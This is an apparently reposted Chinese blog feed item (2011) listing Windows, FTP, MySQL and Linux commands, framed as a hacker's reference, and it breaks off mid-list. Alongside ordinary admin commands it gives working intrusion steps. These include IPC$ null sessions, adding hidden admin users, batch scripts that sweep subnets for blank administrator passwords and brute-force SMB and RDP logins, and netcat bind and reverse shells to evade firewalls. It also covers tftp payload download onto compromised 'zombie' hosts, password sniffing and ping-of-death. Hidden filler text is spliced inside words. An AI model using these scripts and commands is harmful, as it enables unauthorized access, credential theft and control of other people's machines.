		<comments>http://heku.cn/dos%e5%91%bd%e4%bb%a4%e5%a4%a7%e5%85%a8%e7%bb%8f%e5%85%b8%e6%94%b6%e8%97%8f#comments</comments>
		<pubDate>Sun, 16 Jan 2011 02:12:09 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28864</guid>
		<description><![CDATA[net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名　密码　/add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators [...]]]></description>
			<content:encoded><![CDATA[<p>net use \\ip\ipc$ " " /user:" " 建立IPC空链接<br>
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接<br>
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:<br>
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:<br>
net use \\ip\ipc$ /del 删除IPC链接<br>
net use h: /del 删除映射对方到本地的为H:的映射<br>
net user 用户名　密码　/add 建立用户<br>
net user guest /active:yes 激活guest用户<br>
net user 查看有哪些用户<br>
net user 帐户名 查看帐户的属性<br>
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意：administrator后加s用复数<br>
net start 查看开启了哪些服务<br>
net start 服务名　 开启服务；(如:net start telnet， net start schedule)<br>
net stop 服务名 停止某服务<br>
net time \\目标ip 查看对方时间<br>
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息<br>
net view 查看本地局域网内开启了哪些共享<br>
net view \\ip 查看对方局域网内开启了哪些共享<br>
net config 显示系统网络设置<br>
net logoff 断开连接的共享<br>
net pause 服务名 暂停某服务<br>
net send ip "文本信息" 向对方发信息<br>
net ver 局域网内正在使用的网络连接类型和信息<br>
net share 查看本地开启的共享<br>
net share ipc$ 开启ipc$共享<br>
net share ipc$ /del 删除ipc$共享<br>
net share c$ /del 删除C：共享<br>
net user guest 12345 用guest用户登陆后用将密码改为12345<br>
net password 密码 更改系统登陆密码<br>
netstat -a 查看开启了哪些端口,常用netstat -an<br>
netstat -n 查看端口的网络连接情况，常用netstat -an<br>
netstat -v 查看正在进行的工作<br>
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）<br>
netstat -s 查看正在使用的所有协议使用情况<br>
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写<br>
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。<br>
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]数据包大小"；"-n发送数据次数"；"-t"指一直ping。<br>
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)<br>
ipconfig (winipcfg) 用于windows NT及XP(windows 95 9 <img src='http://heku.cn/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley'> 查看本地ip地址，ipconfig可用参数"/all"显示全部配置信息<br>
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)<br>
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)<br>
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件，"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件</p>
<p>#2 二：</p>
<p>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）<br>
move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖<br>
fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令<br>
at id号 开启已注册的某个计划任务<br>
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止<br>
at id号 /delete 停止某个已注册的计划任务<br>
at 查看所有的计划任务<br>
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机<br>
finger username @host 查看最近有哪些用户登陆<br>
telnet ip 端口 远和登陆服务器,默认端口为23<br>
open ip 连接到IP（属telnet登陆后的命令）<br>
telnet 在本机上直接键入telnet 将进入本机的telnet<br>
copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件<br>
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下<br>
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件<br>
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：<br>
xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件<br>
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将"IP"的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送<br>
tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机<br>
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)<br>
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface<br>
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息<br>
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令<br>
mem 查看cpu使用情况<br>
attrib 文件名(目录名) 查看某文件（目录）的属性<br>
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性<br>
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间<br>
date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间，而不必输入新日期和时间<br>
set 指定环境变量名称=要指派给变量的字符 设置环境变量<br>
set 显示当前所有的环境变量<br>
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量<br>
pause 暂停批处理程序，并显示出：请按任意键继续....<br>
if 在批处理程序中执行条件处理（更多说明见if命令及变量）<br>
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如："：start"标签）<br>
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）<br>
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）<br>
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置<br>
echo 信息 在屏幕上显示出信息<br>
echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中<br>
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello<br>
find 文件名 查找某文件<br>
title 标题名字 更改CMD窗口标题名字<br>
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白<br>
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )</p>
<p>#3 三：</p>
<p>ver 在DOS窗口下显示版本信息<br>
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）<br>
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS<br>
md　目录名 创建目录<br>
replace 源文件　要替换文件的目录 替换文件<br>
ren 原文件名　新文件名 重命名文件名<br>
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称<br>
type 文件名 显示文本文件的内容<br>
more 文件名 逐屏显示输出文件<br>
doskey 要锁定的命令＝字符<br>
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=<br>
taskmgr 调出任务管理器<br>
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误<br>
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口<br>
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe<br>
path 路径\可执行文件的文件名 为可执行文件设置一个路径。<br>
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?<br>
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；<br>
regedit /e 注册表文件名 导出注册表<br>
cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。<br>
cacls 文件名 查看文件的访问用户权限列表<br>
REM 文本内容 在批处理文件中添加注解<br>
netsh 查看或更改本地网络配置情况</p>
<p>#4 四：</p>
<p>IIS服务命令：<br>
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）<br>
iisreset /start或stop 启动（停止）所有Internet服务<br>
iisreset /restart 停止然后重新启动所有Internet服务<br>
iisreset /status 显示所有Internet服务状态<br>
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动<br>
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机<br>
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务<br>
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。<br>
FTP 命令： (后面有详细说明内容)<br>
ftp的命令行格式为:<br>
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br>
－d 使用调试方式。<br>
－n 限制ftp的自动登录,即不使用.netrc文件。<br>
－g 取消全局文件名。<br>
help [命令] 或 ？[命令] 查看命令说明<br>
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.<br>
pwd 列出当前远端主机目录<br>
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中<br>
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中<br>
mget [remote-files] 从远端主机接收一批文件至本地主机<br>
mput local-files 将本地主机中一批文件传送至远端主机<br>
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件<br>
ascii 设定以ASCII方式传送文件(缺省值)<br>
bin 或 image 设定以二进制方式传送文件<br>
bell 每完成一次文件传送,报警提示<br>
cdup 返回上一级目录<br>
close 中断与远程服务器的ftp会话(与open对应)<br>
open host[port] 建立指定ftp服务器连接,可指定连接端口<br>
delete 删除远端主机中的文件<br>
mdelete [remote-files] 删除一批文件<br>
mkdir directory-name 在远端主机中建立目录<br>
rename [from] [to] 改变远端主机中的文件名<br>
rmdir directory-name 删除远端主机中的目录<br>
status 显示当前FTP的状态<br>
system 显示远端主机系统类型<br>
user user-name [password] [account] 重新以别的用户名登录远端主机<br>
open host [port] 重新建立一个新的连接<br>
prompt 交互提示模式<br>
macdef 定义宏命令<br>
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录<br>
chmod 改变远端主机的文件权限<br>
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母<br>
cd remote－dir 进入远程主机目录<br>
cdup 进入远程主机目录的父目录<br>
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip</p>
<p>#5 五：</p>
<p>MYSQL 命令：<br>
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br>
（例：mysql -h110.110.110.110 -Uroot -P123456<br>
注:u与root可以不用加空格，其它也一样）<br>
exit 退出MYSQL<br>
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码<br>
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）<br>
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。<br>
use mysql；<br>
show tables; 显示库中的数据表<br>
describe 表名; 显示数据表的结构<br>
create database 库名; 建库<br>
use 库名；<br>
create table 表名 (字段设定列表)； 建表<br>
drop database 库名;<br>
drop table 表名； 删库和删表<br>
delete from 表名; 将表中记录清空<br>
select * from 表名; 显示表中的记录<br>
mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。<br>
win2003系统下新增命令（实用部份）：<br>
shutdown /参数 关闭或重启本地或远程主机。<br>
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br>
例：shutdown /r /t 0 立即重启本地主机（无延时）<br>
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br>
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。<br>
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br>
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。</p>
<p>#6 六：</p>
<p>Linux系统下基本命令： 要区分大小写<br>
uname 显示版本信息（同win2K的 ver）<br>
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）<br>
pwd 查询当前所在的目录位置<br>
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。<br>
cat 文件名 查看文件内容<br>
cat &gt;abc.txt 往abc.txt文件中写上内容。<br>
more 文件名 以一页一页的方式显示一个文本文件。<br>
cp 复制文件<br>
mv 移动文件<br>
rm 文件名 删除文件，rm -a 目录名删除目录及子目录<br>
mkdir 目录名 建立目录<br>
rmdir 删除子目录，目录内没有文档。<br>
chmod 设定档案或目录的存取权限<br>
grep 在档案中查找字符串<br>
diff 档案文件比较<br>
find 档案搜寻<br>
date 现在的日期、时间<br>
who 查询目前和你使用同一台机器的人以及Login时间地点<br>
w 查询目前上机者的详细资料<br>
whoami 查看自己的帐号名称<br>
groups 查看某人的Group<br>
passwd 更改密码<br>
history 查看自己下过的命令<br>
ps 显示进程状态<br>
kill 停止某进程<br>
gcc 黑客通常用它来编译C语言写的文件<br>
su 权限转换为指定使用者<br>
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。<br>
ftp ftp连接上某服务器（同win2K）</p>
<p>附：批处理命令与变量</p>
<p>1：for命令及变量 基本格式：<br>
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br>
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3</p>
<p>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；"(1 -1 254)"说明：即从254到1 }</p>
<p>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br>
command_parameters：为特定命令指定参数或命令行开关</p>
<p>IN (set)：指在(set)中取值；DO command ：指执行command</p>
<p>参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。<br>
用法举例：<br>
@echo off<br>
echo 用法格式：test.bat *.*.* &gt; test.txt</p>
<p>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:administrator | find "命令成功完成" &gt;&gt;test.txt<br>
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。</p>
<p>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。<br>
@echo off<br>
echo 用法格式：ok.bat ip<br>
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200<br>
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</p>
<p>#7 七：</p>
<p>2：if命令及变量 基本格式：<br>
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为"真"。<br>
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br>
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。<br>
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br>
例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）<br>
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br>
例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。<br>
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如："if exist test.txt. else echo test.txt.missing "，注意命令中的"."</p>
<p>（二）系统外部命令(均需下载相关工具)：</p>
<p>1、瑞士军<u style=display:none>瑞脑消金兽</u>刀：nc.exe</p>
<p>参数说明：<br>
-h 查看帮助信息<br>
-d 后台模式<br>
-e prog程序重定向，一但连接就执行［危险］<br>
-i secs延时的间隔<br>
-l 监<u style=display:none>瑞脑消金兽</u>听模式，用于入站连接<br>
-L 监<u style=display:none>瑞脑消金兽</u>听模式，连接天闭后仍然继续监<u style=display:none>瑞脑消金兽</u>听，直到CTR+C<br>
-n IP地址，不能用域名<br>
-o film记录16进制的传输<br>
-p[空格]端口 本地端口号<br>
-r 随机本地及远程端口<br>
-t 使用Telnet交互方式<br>
-u UDP模式<br>
-v 详细输出，用-vv将更详细<br>
-w数字 timeout延时间隔<br>
-z 将输入，输出关掉（用于扫锚时）<br>
基本用法：<br>
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口<br>
nc -l -p 80 开启本机的TCP 80端口并监<u style=display:none>瑞脑消金兽</u>听<br>
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口<br>
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口<br>
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口<br>
高级用法：<br>
nc -L -p 80 作为蜜罐用1：开启并不停地监<u style=display:none>瑞脑消金兽</u>听80端口，直到CTR+C为止<br>
nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监<u style=display:none>瑞脑消金兽</u>听80端口，直到CTR+C,同时把结果输出到c:\log.txt<br>
nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监<u style=display:none>瑞脑消金兽</u>听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监<u style=display:none>瑞脑消金兽</u>听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用：nc -l -p 本机端口 在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机<br>
备 注：<br>
| 管道命令<br>
&lt; 或 &gt; 重定向命令。"&lt;"，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 ＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中<br>
&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br>
如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。</p>
<p>#8 八：</p>
<p>2、扫锚工具：xscan.exe</p>
<p>基本格式<br>
xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息<br>
xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息<br>
检测项目<br>
-active 检测主机是否存活<br>
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）<br>
-port 检测常用服务的端口状态<br>
-ftp 检测FTP弱口令<br>
-pub 检测FTP服务匿名用户写权限<br>
-pop3 检测POP3-Server弱口令<br>
-smtp 检测SMTP-Server漏洞<br>
-sql 检测SQL-Server弱口令<br>
-smb 检测NT-Server弱口令<br>
-iis 检测IIS编码/解码漏洞<br>
-cgi 检测CGI漏洞<br>
-nasl 加载Nessus攻击脚本<br>
-all 检测以上所有项目<br>
其它选项<br>
-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取<br>
-l 显示所有网络适配器<br>
-v 显示详细扫描进度<br>
-p 跳过没有响应的主机<br>
-o 跳过没有检测到开放端口的主机<br>
　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10<br>
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)<br>
用法示例<br>
xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机<br>
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机<br>
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机</p>
<p>#9 九：</p>
<p>3、命令行方式嗅探器: xsniff.exe<br>
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br>
参数说明<br>
-tcp 输出TCP数据报<br>
-udp 输出UDP数据报<br>
-icmp 输出ICMP数据报<br>
-pass 过滤密码信息<br>
-hide 后台运行<br>
-host 解析主机名<br>
-addr IP地址 过滤IP地址<br>
-port 端口 过滤端口<br>
-log 文件名 将输出保存到文件<br>
-asc 以ASCII形式输出<br>
-hex 以16进制形式输出<br>
用法示例<br>
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中<br>
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出</p>
<p>4、终端服务密码破解: tscrack.exe</p>
<p>参数说明<br>
-h 显示使用帮助<br>
-v 显示版本信息<br>
-s 在屏幕上打出解密能力<br>
-b 密码错误时发出的声音<br>
-t 同是发出多个连接（多线程）<br>
-N Prevent System Log entries on targeted server<br>
-U 卸载移除tscrack组件<br>
-f 使用－f后面的密码<br>
-F 间隔时间（频率）<br>
-l 使用－l后面的用户名<br>
-w 使用－w后面的密码字典<br>
-p 使用－p后面的密码<br>
-D 登录主页面<br>
用法示例<br>
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码<br>
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户<br>
@if not exist ipcscan.txt goto noscan<br>
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i<br>
nscan<br>
@echo 3389.txt no find or scan faild<br>
(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)<br>
3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat<br>
@if not exist tscrack.exe goto noscan<br>
@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt<br>
:noscan<br>
@echo tscrack.exe no find or scan faild<br>
(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)<br>
hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。</p>
<p>5、其它：</p>
<p>Shutdown.exe<br>
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。）<br>
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙）<br>
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息<br>
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。<br>
OpenTelnet.exe (远程开启telnet工具)<br>
opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br>
NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。</p>
<p>ResumeTelnet.exe (OpenTelnet附带的另一个工具)<br>
resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。</p>
<p>#10 十：</p>
<p>6、FTP命令详解：</p>
<p>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。</p>
<p>FTP的命令行格式为：<br>
ftp -v -d -i -n -g [主机名] ，其中</p>
<p>-v 显示远程服务器的所有响应信息；</p>
<p>-n 限制ftp的自动登录，即不使用；.n etrc文件；</p>
<p>-d 使用调试方式；</p>
<p>-g 取消全局文件名。</p>
<p>FTP使用的内部命令如下(中括号表示可选项):</p>
<p>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip<br>
2.$ macro-ame[args]： 执行宏定义macro-name。</p>
<p>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。<br>
4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。</p>
<p>5.ascii：使用ascii类型传输方式。<br>
6.bell：每个命令执行完毕后计算机响铃一次。</p>
<p>7.bin：使用二进制文件传输方式。<br>
8.bye：退出ftp会话过程。</p>
<p>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。<br>
10.cd remote-dir：进入远程主机目录。</p>
<p>11.cdup：进入远程主机目录的父目录。<br>
12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。</p>
<p>13.close：中断与远程服务器的ftp会话(与open对应)。<br>
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。</p>
<p>15.delete remote-file：删除远程主机文件。<br>
